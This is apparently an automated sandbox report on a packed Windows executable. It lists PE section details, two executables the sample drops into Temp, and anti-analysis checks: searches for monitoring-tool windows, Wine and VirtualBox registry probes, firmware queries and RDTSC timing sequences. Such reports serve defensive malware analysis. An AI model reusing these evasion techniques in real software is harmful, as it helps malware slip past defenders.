Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: 0HdDuWzp54.exe

Static file information: File size 1881088 > 1048576

Source: 0HdDuWzp54.exe

Static PE information: Raw size of vmrkkoie is bigger than: 0x100000 < 0x1a3000

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: NCU1LYX00CJA4N4Z4DG.exe, 00000004.00000002.2173668389.0000000000AE2000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Unpacked PE file: 4.2.NCU1LYX00CJA4N4Z4DG.exe.ae0000.0.unpack :EW;.rsrc:W;.idata :W;tnrxecbv:EW;anayjrgy:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Unpacked PE file: 5.2.Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe.3a0000.0.unpack :EW;.rsrc:W;.idata :W;wwqufnsk:EW;dutjqjqn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;wwqufnsk:EW;dutjqjqn:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 0HdDuWzp54.exe	Static PE information: real checksum: 0x1da8d1 should be: 0x1d05dc
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe.0.dr	Static PE information: real checksum: 0x2d28a0 should be: 0x2c6754
Source: NCU1LYX00CJA4N4Z4DG.exe.0.dr	Static PE information: real checksum: 0x2c49df should be: 0x2b6c61

Source: 0HdDuWzp54.exe	Static PE information: section name:
Source: 0HdDuWzp54.exe	Static PE information: section name: .idata
Source: 0HdDuWzp54.exe	Static PE information: section name:
Source: 0HdDuWzp54.exe	Static PE information: section name: vmrkkoie
Source: 0HdDuWzp54.exe	Static PE information: section name: flohgirz
Source: 0HdDuWzp54.exe	Static PE information: section name: .taggant
Source: NCU1LYX00CJA4N4Z4DG.exe.0.dr	Static PE information: section name:
Source: NCU1LYX00CJA4N4Z4DG.exe.0.dr	Static PE information: section name: .idata
Source: NCU1LYX00CJA4N4Z4DG.exe.0.dr	Static PE information: section name: tnrxecbv
Source: NCU1LYX00CJA4N4Z4DG.exe.0.dr	Static PE information: section name: anayjrgy
Source: NCU1LYX00CJA4N4Z4DG.exe.0.dr	Static PE information: section name: .taggant
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe.0.dr	Static PE information: section name:
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe.0.dr	Static PE information: section name: .idata
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe.0.dr	Static PE information: section name: wwqufnsk
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe.0.dr	Static PE information: section name: dutjqjqn
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_0145C61A push es; ret	0_3_0145C645
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_0145C61A push es; ret	0_3_0145C645
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_0145C5E8 push ebp; iretd	0_3_0145C5ED
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_0145C5E8 push ebp; iretd	0_3_0145C5ED
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014613F0 pushad ; retf	0_3_01461409
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014613F0 pushad ; retf	0_3_01461409
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014613F0 pushad ; retf	0_3_01461409
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014613F0 pushad ; retf	0_3_01461409
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014613F0 pushad ; retf	0_3_01461409
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014613F0 pushad ; retf	0_3_01461409
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014613F0 pushad ; retf	0_3_01461409
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014587BC pushad ; retf	0_3_014587BD
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_0145C5E8 push ebp; iretd	0_3_0145C5ED
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_0145C5E8 push ebp; iretd	0_3_0145C5ED
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014613F0 pushad ; retf	0_3_01461409
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014613F0 pushad ; retf	0_3_01461409
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014613F0 pushad ; retf	0_3_01461409
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014613F0 pushad ; retf	0_3_01461409
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014613F0 pushad ; retf	0_3_01461409
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014613F0 pushad ; retf	0_3_01461409
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014613F0 pushad ; retf	0_3_01461409
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_0145C61A push es; ret	0_3_0145C645
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_0145C61A push es; ret	0_3_0145C645
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014671DF push edx; iretd	0_3_014671E5
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014671DF push edx; iretd	0_3_014671E5
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014671DF push edx; iretd	0_3_014671E5
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014671DF push edx; iretd	0_3_014671E5
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014671DF push edx; iretd	0_3_014671E5
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014613F0 pushad ; retf	0_3_01461409
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014613F0 pushad ; retf	0_3_01461409
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Code function: 0_3_014613F0 pushad ; retf	0_3_01461409

Source: 0HdDuWzp54.exe	Static PE information: section name: entropy: 7.984257124369339
Source: 0HdDuWzp54.exe	Static PE information: section name: vmrkkoie entropy: 7.954181370103572

Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File created: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe			Jump to dropped file
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File created: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\0HdDuWzp54.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACAFD1 second address: ACAFD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACB11A second address: ACB124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F10A8DE1CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACB255 second address: ACB269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F10A8C33EFFh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACB3A8 second address: ACB3C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F10A8DE1CE4h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACB3C4 second address: ACB3CE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F10A8C33EF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACB81D second address: ACB831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F10A8DE1CD6h 0x0000000a jnp 00007F10A8DE1CD6h 0x00000010 popad 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACB831 second address: ACB846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F10A8C33EF6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F10A8C33EF6h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACB846 second address: ACB84A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACB84A second address: ACB850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE58A second address: ACE58E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE58E second address: ACE594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE594 second address: ACE5D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b jmp 00007F10A8DE1CDFh 0x00000010 pop ecx 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F10A8DE1CE5h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE5D0 second address: ACE5FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F10A8C33F02h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007F10A8C33EFCh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE5FA second address: ACE60F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F10A8DE1CD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE60F second address: ACE613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE6BE second address: ACE6E6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F10A8DE1CD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jmp 00007F10A8DE1CDCh 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 jnl 00007F10A8DE1CE4h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE6E6 second address: ACE76F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F10A8C33EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+122D2A48h] 0x00000011 push 00000003h 0x00000013 or ecx, 47476CA2h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007F10A8C33EF8h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 mov esi, 4F616826h 0x0000003a push 00000003h 0x0000003c sub dx, 668Bh 0x00000041 call 00007F10A8C33EF9h 0x00000046 jg 00007F10A8C33F05h 0x0000004c jmp 00007F10A8C33EFFh 0x00000051 push eax 0x00000052 pushad 0x00000053 jne 00007F10A8C33F0Dh 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE76F second address: ACE775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE775 second address: ACE7AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push edi 0x0000000b jmp 00007F10A8C33EFDh 0x00000010 pop edi 0x00000011 mov eax, dword ptr [eax] 0x00000013 jl 00007F10A8C33F00h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jne 00007F10A8C33EF8h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE7AE second address: ACE7E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov ecx, dword ptr [ebp+122D29A8h] 0x00000010 lea ebx, dword ptr [ebp+1245A484h] 0x00000016 mov dx, di 0x00000019 push eax 0x0000001a pushad 0x0000001b jo 00007F10A8DE1CD8h 0x00000021 pushad 0x00000022 popad 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE848 second address: ACE885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F10A8C33EFDh 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D1A12h], ebx 0x00000013 push 00000000h 0x00000015 mov edx, dword ptr [ebp+122D2A4Ch] 0x0000001b push 102A2C4Eh 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F10A8C33F03h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE885 second address: ACE895 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F10A8DE1CDCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE895 second address: ACE899 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE899 second address: ACE933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 102A2CCEh 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F10A8DE1CD8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D55C1h], edi 0x0000002f push 00000003h 0x00000031 push edi 0x00000032 jno 00007F10A8DE1CD8h 0x00000038 pop ecx 0x00000039 xor edx, dword ptr [ebp+122D2CD4h] 0x0000003f push 00000000h 0x00000041 mov edx, dword ptr [ebp+122D29A0h] 0x00000047 push 00000003h 0x00000049 sub dword ptr [ebp+122D1973h], esi 0x0000004f push F87FBA61h 0x00000054 jng 00007F10A8DE1CDEh 0x0000005a ja 00007F10A8DE1CD8h 0x00000060 xor dword ptr [esp], 387FBA61h 0x00000067 jns 00007F10A8DE1CDEh 0x0000006d jng 00007F10A8DE1CD8h 0x00000073 lea ebx, dword ptr [ebp+1245A48Dh] 0x00000079 xor dword ptr [ebp+122D1825h], edx 0x0000007f or dword ptr [ebp+122D2D31h], edx 0x00000085 xchg eax, ebx 0x00000086 push eax 0x00000087 push edx 0x00000088 push eax 0x00000089 push edx 0x0000008a push eax 0x0000008b push edx 0x0000008c rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE933 second address: ACE937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE937 second address: ACE93D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE93D second address: ACE969 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33EFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F10A8C33EFDh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F10A8C33EFAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ACE969 second address: ACE96D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ABF118 second address: ABF128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F10A8C33EF6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: ABF128 second address: ABF142 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AED888 second address: AED8A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F10A8C33F09h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AED8A5 second address: AED8AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AED8AB second address: AED8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AED8B4 second address: AED8BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AEDCFB second address: AEDD05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AEDD05 second address: AEDD09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AEDD09 second address: AEDD4C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F10A8C33F09h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F10A8C33F07h 0x00000011 jmp 00007F10A8C33EFFh 0x00000016 push edi 0x00000017 pop edi 0x00000018 popad 0x00000019 pushad 0x0000001a push ebx 0x0000001b jnc 00007F10A8C33EF6h 0x00000021 pop ebx 0x00000022 push ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AEDD4C second address: AEDD52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	RDTSC instruction interceptor: First address: AEDD52 second address: AEDD5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
